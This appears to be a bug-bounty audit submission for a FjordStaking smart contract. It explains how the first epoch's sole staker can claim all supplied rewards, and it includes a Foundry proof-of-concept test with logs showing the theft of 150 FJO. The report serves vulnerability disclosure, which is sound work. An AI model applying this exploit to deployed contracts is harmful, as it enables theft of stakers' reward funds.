Submission Details
Severity:
All supplied rewards can be stolen.
Summary
If the first epoch consist only 1 stake then adding reward at the end of the first epoch may allow the first staker to steal all rewards supplied in the FjordStaking contract.
Vulnerability Details
If there is only 1 stake in the first epoch the staker may receive all the supplied rewards. The addReward() is called at the end of every epoch. So if in first epoch one user staked & no other user stake in that epoch the first staker can claim all the reward which will be supplied in future too no matter how many people stake in upcoming epochs i.e from 2nd epoch. Looks at the PoC to understand the attack.
Before running the test add this in FjordStakingBase.t.sol::setUp():
deal(address(token), bob, 10000 ether);
vm.prank(bob);
token.approve(address(fjordStaking), 10000 ether);
POC
function test_stealRewards() public {
vm.prank(alice);
// while staking 1st time as latestEpoch == currentEpoch so nothing will happen in
// _checkEpochRolloeber(). In _redeem() ud.unclaimedRewards is 0 becaue totalStaked is 0,
// ud.lastClaimedEpoch will be 0. As ud.unredeemedEpoch is also 0 so the 'if' block will not
// execute.
// Later in stake(): newStaked = 2 ether, FJO.balanceOf(fjordStaking) = 2 ether &
// userData.unredeemedEpoch = 1
fjordStaking.stake(2 ether);
// Warped 1 epoch & addReward() was called, 50 ether was sent to the FjordStaking contract,
// then _checkEpochRollover() called, now at this point latestEpoch is 2. As currentEpoch is
// 1 so (latestEpoch > currentEpoch) satisfied, currentEpoch updated to 2. As totalStaked is
// not greter than 0 so that 'if' will not execute, the 'else' part will execute, here initial
// reward was updated, we can ignore that, just keep in mind till now 50 FJO was supplied as
// reward.
// Now totalStaked += newStaked i.e totalStaked = 2 ether & newStaked is set to 0. No vested
// stake was done update related vested stake was not done.
_addRewardAndEpochRollover(50 ether, 1);
vm.prank(bob);
// Now bob staked, at this point currentEpoch is 2. When _checkEpochRollover() was executed
// for bob the latestEpoch will be 2. As currentEpoch is also 2 so (latestEpoch > currentEpoch)
// condition will not be satisfied, so the 'if' block will not be executed, nothing will happen
// in _checkEpochRollover(). Then _redeem() will be executed, here also nothing will happen
// except ud.lastClaimedEpoch set to 1, because ud.totalStaked is 0 so ud.unclaimedRewards will
// also be 0 & as ud.unredeemedEpoch is 0 so that 'if' block will not be executed.
fjordStaking.stake(2 ether);
// Now again rewardAdmin supplied 100 FJO as reward to the FjordStaking contract. As it warped
// 1 epoch so currentEpoch will be 3. Inside addReward(), first 100 amount of reward token is
// supplied to the staking contract, so total supplied reward is now 150 FJO, in
// _checkEpochRollover() as (totalStaked > 0) satisfies now so rewards are distributed. For ex-
// in our current scenario, pendingRewards = 154 - 4 = 150 FJO, follow the math in code to
// understand how we get this value. So, totalRewards = 150 FJO
_addRewardAndEpochRollover(100 ether, 1);
assertEq(fjordStaking.currentEpoch(), 3);
// Calculating the reward till (currentEpoch - 1) because reward is distributed till the
// (currentEpoch - 1) epoch.
for (uint16 i = 0; i < 3; i++) {
console.log('rewardPerToken for epoch %s is : ', i, fjordStaking.rewardPerToken(i));
}
// alice is mighty, she was noticing everything, she knows what she need to do, she staked 1
// wei of FJO. For this transaction when _checkEpochRollover() is called latestEpoch becomes 3,
// as latestEpoch == currentEpoch nothing will happen in that function.
// Now when _redeem() was executed the reward will be calculated like this:
// calculateReward(ud.totalStaked, ud.lastClaimedEpoch, currentEpoch - 1)
// here alice's totalStaked = 2 FJO, lastClaimedEpoch = 0 & currentEpoch - 1 = 3 - 1 = 2
// So,
// rewardAmount = (_amount * (rewardPerToken[_toEpoch] - rewardPerToken[_fromEpoch])) / PRECISION_18;
// => (2e18 * (rewardPerToken[2] - rewardPerToken[0])) / 1e18
// => (2e18 * 75e18) / 1e18
// => 150e18 i.e 150 FJO
// check the log given below to know how rewardPerToken[2] is 75e18 * rewardPerToken[0] is 0
vm.startPrank(alice);
fjordStaking.stake(1);
(uint totalStaked1, uint unclaimedRewards1, uint16 unredeemedEpoch1, uint16 lastClaimedEpoch1) = fjordStaking
.userData(alice);
assert(totalStaked1 == 2 ether);
assert(unclaimedRewards1 == 150 ether);
assert(unredeemedEpoch1 == 3);
assert(lastClaimedEpoch1 == 2);
// Now just after calling the stake() alice called claimReward() to set her claim receipt.
// Now she can sit for 3 weeks in relax and call completeClaimRequest() to receive reward
// amount.
fjordStaking.claimReward(false);
vm.stopPrank();
assertEq(fjordStaking.currentEpoch(), 3);
vm.prank(bob);
fjordStaking.stake(20 ether);
vm.warp(vm.getBlockTimestamp() + 4 weeks);
vm.expectEmit();
emit RewardClaimed(alice, 150 ether);
vm.prank(alice);
fjordStaking.completeClaimRequest();
}
Run this test stake.t.sol contract. You will see the test passed successfully & Alice recived the whole supplied reward.
Logs:
Logs:
rewardPerToken for epoch 0 is : 0
rewardPerToken for epoch 1 is : 0
rewardPerToken for epoch 2 is : 75000000000000000000
Impact
The first staker can steal all the rewards.
Tools Used
Manual review, Foundry.
Recommendations
Better to not adding reward when there is only 1 staker in first epoch.
Related link
Prize pool breakdown
Total prize
20,000 USDC
nSLOC
66230 USDC / LOC
16,000 USDC
2,500 USDC
1,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.